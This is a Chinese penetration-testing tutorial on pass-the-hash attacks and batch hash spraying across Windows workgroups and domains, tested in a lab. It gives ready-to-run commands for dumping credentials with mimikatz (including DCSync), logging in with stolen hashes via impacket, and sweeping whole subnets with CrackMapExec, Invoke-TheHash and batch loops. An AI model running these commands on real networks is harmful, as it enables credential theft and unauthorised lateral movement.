内网渗透之PTH【批量PTH】

admin 2024年9月23日15:08:15评论21 views字数 4608阅读15分21秒阅读模式

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把SecretTeam安全团队设为星标”,否则可能就看不到了啦!

内网渗透之PTH【批量PTH】

免责声明

"本文档所提供的信息旨在帮助网络安全专业人员更好地理解并维护他们负责的网站和服务器等系统。我们鼓励在获得适当授权的情况下使用这些信息。请注意,任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。"

"我们创建这个社区是为了促进技术交流和知识分享。我们希望每位成员都能在遵守法律法规的前提下参与讨论和学习。如果使用本文档中的信息导致任何直接或间接的后果和损失,我们提醒您,这将由您个人承担。我们不承担由此产生的任何责任。如果有任何内容侵犯了您的权益,请随时告知我们,我们将立即采取行动并表示诚挚的歉意。我们感谢您的理解和支持。"

前言

    PTH(pass the hash),中文称之为哈希传递攻击,在NTLM和Kerberos认证中,都需要使用用户的NTLM-Hash值进行加密认证,所以知道了对方用户的NTLM-Hash值之后就可以使用PTH进行认证。

在域环境中,用户登录计算机时一般使用的都是域账户,大量计算机在安装时会使用相同的本地管理员账户和密码。

如果计算机的本地管理员账户【WORKGROUP】和密码也是相同的,故攻击者就可以使用哈希传递攻击这种方法登录内网中其他计算机。

为什么要做这篇文章?
原因是PTH批量的方法较少,本文的重点也是传递PTH批量

PTH原理

  1. PTH原理-NTLM认证中

response是如何生成的呢?

response = NTProofStr+blob两部分组成的

  • NTProofStr:NTLM-v2-hash值和challenge+blob进行HMAC-MD5加密的

  • NTLM-v2-hash值:大写的用户名+域名编码成Unicode格式,然后和密码的NTLM-HASH值进行HMAC-MD5加密

  • blob是由时间、目标信息、随机填充字符等生成

  1. PTH原理-kerberos认证中

AS-REQ(AS-requests)主要包含用户的身份信息,由客户端发送给AS的数据包,其中有几个重要信息:

  • PA-DATA pA-ENC-TIMESTAMP:使用用户的hash值或者AES key加密时间戳生成的key

  • PA-DATA pA-PAC-REQUEST:是否包含有pac(PAC 包含用户的SID、用户所在组等信息)

  • kdc-options:协商字段

  • cname:请求的用户名

  • realm:域名

  • sname:请求的服务名

内网渗透之PTH【批量PTH】

PTH条件

1、有管理员的NTLM Hash值

2、目标机器开放了445端口【atexec-pro只需要开启135就可以。

不同用户下的PTH区别

哪些用户可以进行PTH ?

这边我们来做一个测试

环境如下:

系统版本

用户类型

用户名

密码

Windows 10 x64

超级管理员

administrator

Aa123456

本地管理员

Viper

a1b2c3d4

普通用户

test

qwe123

内网渗透之PTH【批量PTH】

抓取每个账号HASH值

mimikatz命令:

mimikatz.exe "log" "privilege::debug" "sekurlsa::logonpasswords full" "exit"

如果新创建未登录可能存在抓不到的现象,使用如下命令即可

mimikatz.exe "log" "privilege::debug" "lsadump::sam" "exit"

内网渗透之PTH【批量PTH】

administrator   47bf8039a8506cd67c524a03ff84ba4eviper           482563f0adaac6ca60c960c0199559d2test            700ec8a682f6e41418007992fc604c77

PTH 哈希传递-工作组环境

  1. Mimikatz hash传递

mimikatz命令

privilege::debugsekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntl

超级管理员 administrator  【成功】

使用administrator的账号进行hash传递

privilege::debugsekurlsa::pth /user:administrator /domain:192.168.41.128 /ntlm:afffeba176210fad4628f0524bfe1942

内网渗透之PTH【批量PTH】

传递成功

本地管理员 Viper 【失败】

使用viper进行传递

sekurlsa::pth /user:viper /domain:192.168.41.128 /ntlm:482563f0adaac6ca60c960c0199559d2

内网渗透之PTH【批量PTH】

传递失败

内网渗透之PTH【批量PTH】

普通用户 test 【失败】

使用test进行传递

sekurlsa::pth /user:test /domain:192.168.41.128 /ntlm:700ec8a682f6e41418007992fc604c77

内网渗透之PTH【批量PTH】

失败

  1. impacket包 hash传递

超级管理员 administrator 【成功】

命令

python wmiexec.py -hashes  :47bf8039a8506cd67c524a03ff84ba4e  administrator@192.168.41.128

内网渗透之PTH【批量PTH】

本地管理员 Viper 【失败】

命令

python wmiexec.py -hashes  :482563f0adaac6ca60c960c0199559d2  viper@192.168.41.128

内网渗透之PTH【批量PTH】

失败

普通用户 test 【失败】

命令

python wmiexec.py -hashes :700ec8a682f6e41418007992fc604c77   test@192.168.41.128

内网渗透之PTH【批量PTH】

失败

PTH 哈希传递-域内环境

系统版本

用户类型

用户名

密码

DC2016

域内超级管理员

administrator

123.com

域内管理员

Viper

a1b2c3d4..

普通用户

win10

Aa123456

内网渗透之PTH【批量PTH】

抓取Hash值

 mimikatz.exe "log" "privilege::debug" "lsadump::dcsync /domain:hack.com /all /csv" "exit"

内网渗透之PTH【批量PTH】

hash值

administrator    afffeba176210fad4628f0524bfe1942viper                db40247dab331ac57c207032f198f364  win10                  47bf8039a8506cd67c524a03ff84ba4e

Hash传递

这里我们使用imapcket包进行传递

域内超级管理员 Administrator 【成功】

命令:

python wmiexec.py -hashes  :afffeba176210fad4628f0524bfe1942  hackadministrator@192.168.41.157

内网渗透之PTH【批量PTH】

成功

域内管理员 viper 【成功】

命令

python wmiexec.py -hashes  :db40247dab331ac57c207032f198f364    hack/viper@192.168.41.157

内网渗透之PTH【批量PTH】

成功

域内普通用户 【失败】

命令

python wmiexec.py -hashes :47bf8039a8506cd67c524a03ff84ba4e    hack/win10@192.168.41.157

内网渗透之PTH【批量PTH】

失败

总结以上

域内administrator和普通管理员可以进行PTH传递,域内普通用户不可以进行PTH传递(默认)。

以上为PTH的基础内容,让大家巩固基础的同时,保证我们在拿到Hash准备批量喷洒时心里有底。

批量喷洒

内网中,系统在安装的时候,一般会采用统一的账户和密码,当我们获取到一台电脑的hash值之后,可以使用hash碰撞的方式,找出拥有相同账户密码的计算机。

  1. CrackMapExec 【kali 、 Windows】可走代理

工具下载地址:

https://github.com/maaaaz/CrackMapExecWin

内网渗透之PTH【批量PTH】

优点:

  1. kali、windows都支持

  2. 可走代理、不用上传目标主机牵扯到免杀

  3. 支持密码包括密码字典、hash包括hash字典

  4. 可以扫描网段

总而言之,最好用的方式

使用:

指定hash
crackmapexec.exe 192.168.41.128/24 -u administrator -H 47bf8039a8506cd67c524a03ff84ba4e:47bf8039a8506cd67c524a03ff84ba4e

内网渗透之PTH【批量PTH】

成功爆破到主机

指定hash字典
crackmapexec.exe 192.168.41.128/24 -u administrator -H hash.txt

内网渗透之PTH【批量PTH】

内网渗透之PTH【批量PTH】

  1. Powershell脚本  【可走代理】

Invoke-TheHash,可以通过把NTLM hash传递给NTLM v2身份验证协议进行身份验证的攻击套件。

执行该脚本不需要本地管理员权限

条件:power shell 2.0及以上

内网渗透之PTH【批量PTH】

用法:

Import-Module .Invoke-TheHash.ps1 (导入批量模块)Import-Module .Invoke-WMIExec.ps1 (导入wmi模块)Invoke-TheHash -Type WMIExec -Target 192.168.110.0/24 -Username administrator -Hash db40247dab331ac57c207032f198f364

命令

Invoke-TheHash -Type WMIExec -Target 192.168.41.128/24 -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e

内网渗透之PTH【批量PTH】

Windows 10 powershell中 存在ASMI反病毒接口,如有以上报错,请使用server2012以及windows7,这边就不进行演示

  1. 自写Bat搭配Impacket 实现 【Windows】可走代理

优点:

比较灵活,可以将三个值都替换

注意事项

如果写成批处理,那么%i需要变成%%i

(ips.txt)需要使用小括号包裹

DOS命令

dos命令除了变量以外不区分大小写,包括执行参数也不区分大小写。

批量尝试连接ipc$,连接成功后可以使用net use查看。

以下命令修改参数后可以直接执行,无需放在bat中

## 指定固定Hash爆破ip段FOR /F %i in (<ips.txt>) do atexec.exe -hashes :<hash> ./<username>@%i "<command>"## 指定固定ip爆破hashFOR /F %i in (<hash.txt>) do python atexec.py -hashes :%i administrator@192.168.41.128 "whoami"

实例1  指定hash爆破ip:

FOR /F %i in (ip.txt) do python atexec.py -hashes :47bf8039a8506cd67c524a03ff84ba4e  administrator@%%i "whoami"

内网渗透之PTH【批量PTH】

实例2:指定ip爆破hash

FOR /F %i in (hash.txt) do python atexec.py -hashes :%i administrator@192.168.41.128 "whoami"

内网渗透之PTH【批量PTH】

原文始发于微信公众号(SecretTeam安全团队):内网渗透之PTH【批量PTH】

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月23日15:08:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透之PTH【批量PTH】https://cn-sec.com/archives/3197496.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息